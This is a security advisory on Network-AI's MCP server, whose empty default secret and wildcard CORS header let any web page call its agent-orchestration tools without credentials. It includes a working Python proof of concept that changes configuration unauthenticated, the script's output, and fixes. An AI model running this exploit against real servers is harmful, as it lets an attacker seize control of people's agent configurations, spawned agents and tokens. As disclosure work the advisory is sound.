Unauthenticated Cross-Origin MCP Tool Invocation via Empty Default Secret

Summary

The MCP SSE server defaults to an empty secret (process.env['NETWORK_AI_MCP_SECRET'] ?? '' at bin/mcp-server.ts:89), which causes _isAuthorized (lib/mcp-transport-sse.ts:254) to return true unconditionally for every request — no Authorization header is required. Simultaneously, _handleRequest sets Access-Control-Allow-Origin: * (lib/mcp-transport-sse.ts:272) on every response, so a cross-origin browser fetch can read the result without restriction. An unauthenticated attacker who can lure a user to a malicious web page can invoke all 22 exposed MCP tools — including config_set, agent_spawn, and blackboard_write — against a default-configured localhost server.

Affected Code

bin/mcp-server.ts:89 — default secret resolves to empty string, enabling open access

    secret: process.env['NETWORK_AI_MCP_SECRET'] ?? '',

lib/mcp-transport-sse.ts:254 — auth guard short-circuits to true when secret is falsy

  private _isAuthorized(req: http.IncomingMessage): boolean {
    if (!this._opts.secret) return true;
    const authHeader = req.headers['authorization'];
    if (typeof authHeader !== 'string') return false;
    const parts = authHeader.split(' ');
    return parts[0]?.toLowerCase() === 'bearer' && parts[1] === this._opts.secret;
  }

lib/mcp-transport-sse.ts:272 — wildcard CORS header applied unconditionally before any auth check

  private _handleRequest(req: http.IncomingMessage, res: http.ServerResponse): void {
    // CORS — allow any MCP client to connect
    res.setHeader('Access-Control-Allow-Origin', '*');
    res.setHeader('Access-Control-Allow-Methods', 'GET, POST, OPTIONS');
    res.setHeader('Access-Control-Allow-Headers', 'Content-Type, Authorization');

lib/mcp-transport-sse.ts:367-368 — authenticated path dispatches parsed JSON-RPC frame directly to handleRPC with no further caller validation

        const rpc = JSON.parse(body) as McpJsonRpcRequest;
        const response = await this._bridge.handleRPC(rpc);

Any cross-origin browser request reaches handleRPC because _isAuthorized returns true (empty secret) and the Access-Control-Allow-Origin: * header lets the browser expose the response to the calling script.

Proof of Concept

Environment

• Network-AI v5.4.4 (latest)
• Docker container bound to 127.0.0.1:3001
• Python 3 + requests

poc.py

import sys
import requests

BASE = "http://127.0.0.1:3001"

# Step 1: Verify CORS wildcard (simulating cross-origin preflight)
preflight = requests.options(
    f"{BASE}/mcp",
    headers={
        "Origin": "http://evil.example.com",
        "Access-Control-Request-Method": "POST",
        "Access-Control-Request-Headers": "Content-Type",
    },
)
acao = preflight.headers.get("Access-Control-Allow-Origin", "")
print(f"[*] OPTIONS /mcp -> {preflight.status_code}, Access-Control-Allow-Origin: {acao!r}")
if acao != "*":
    print(f"RESULT: FAIL — expected ACAO='*', got {acao!r}")
    sys.exit(1)

# Step 2: Invoke config_set with NO Authorization header from cross-origin
rpc_payload = {
    "jsonrpc": "2.0",
    "id": 1,
    "method": "tools/call",
    "params": {
        "name": "config_set",
        "arguments": {
            "key": "maxParallelAgents",
            "value": "999"
        }
    }
}
resp = requests.post(
    f"{BASE}/mcp",
    json=rpc_payload,
    headers={
        "Content-Type": "application/json",
        "Origin": "http://evil.example.com",
        # No Authorization header — exploiting empty-secret bypass
    },
)
print(f"[*] POST /mcp (no auth, cross-origin) -> {resp.status_code}")
print(f"[*] Response body: {resp.text[:800]}")
resp_acao = resp.headers.get("Access-Control-Allow-Origin", "")
print(f"[*] Response Access-Control-Allow-Origin: {resp_acao!r}")
if resp.status_code != 200:
    print(f"RESULT: FAIL — expected 200, got {resp.status_code}")
    sys.exit(1)

body = resp.json()
result_content = body.get("result", {})
is_error = result_content.get("isError", True)
if is_error:
    print(f"RESULT: FAIL — tool returned isError=true: {result_content}")
    sys.exit(1)

# Step 3: Confirm CORS header on actual response (browser can read it)
if resp_acao != "*":
    print(f"RESULT: FAIL — response ACAO not '*', browser would block read: {resp_acao!r}")
    sys.exit(1)

print(f"RESULT: PASS — unauthenticated cross-origin POST /mcp (no Bearer token) succeeded with HTTP 200 and ACAO='*'; config_set executed without credentials (maxParallelAgents set to 999)")

Output

[*] OPTIONS /mcp -> 204, Access-Control-Allow-Origin: '*'
[*] POST /mcp (no auth, cross-origin) -> 200
[*] Response body: {"jsonrpc":"2.0","id":1,"result":{"content":[{"type":"text","text":"{\"ok\":true,\"tool\":\"config_set\",\"data\":{\"key\":\"maxParallelAgents\",\"previous\":null,\"current\":999,\"applied\":true}}"}],"isError":false}}
[*] Response Access-Control-Allow-Origin: '*'
RESULT: PASS — unauthenticated cross-origin POST /mcp (no Bearer token) succeeded with HTTP 200 and ACAO='*'; config_set executed without credentials (maxParallelAgents set to 999)

Verified conditions

1. OPTIONS /mcp → 204, Access-Control-Allow-Origin: * — browser preflight accepted by server
2. POST /mcp (no Authorization header) → 200, isError: false — config_set executed without credentials
3. Response Access-Control-Allow-Origin: * — response is readable by the calling script in a browser context, confirming the attack is viable from a cross-origin malicious page

Impact

Any web page visited by a user who has the Network-AI MCP server running locally (default port 3001, no secret) can silently invoke all 22 MCP tools without credentials. Verified impact includes arbitrary orchestrator configuration mutation (config_set); the same vector applies to agent_spawn (spawning arbitrary agents), blackboard_write / blackboard_delete (corrupting shared agent state), and token_create / token_revoke (tampering with token management). Confidentiality impact is limited to data readable via MCP tools (blackboard contents, audit log queries); integrity impact is high because core orchestrator state can be overwritten; availability impact is low (service continues running but with attacker-controlled configuration).

Remediation

1. Require a non-empty secret at startup: in bin/mcp-server.ts, reject launch when args.secret is empty and --stdio is not set:

   if (!args.secret && !args.stdio) {
     console.error('ERROR: --secret <token> or NETWORK_AI_MCP_SECRET must be set for SSE mode.');
     process.exit(1);
   }
   

2. Restrict CORS to localhost origins only: in lib/mcp-transport-sse.ts:_handleRequest, replace the wildcard with an allowlist:

   const origin = req.headers['origin'] ?? '';
   const allowed = /^https?:\/\/(localhost|127\.0\.0\.1)(:\d+)?$/.test(origin);
   res.setHeader('Access-Control-Allow-Origin', allowed ? origin : '');
   res.setHeader('Vary', 'Origin');
   

3. Move CORS headers after the auth check so a rejected request never advertises cross-origin access, or apply CORS only on the SSE endpoint (/sse) if cross-origin streaming is needed and not on /mcp.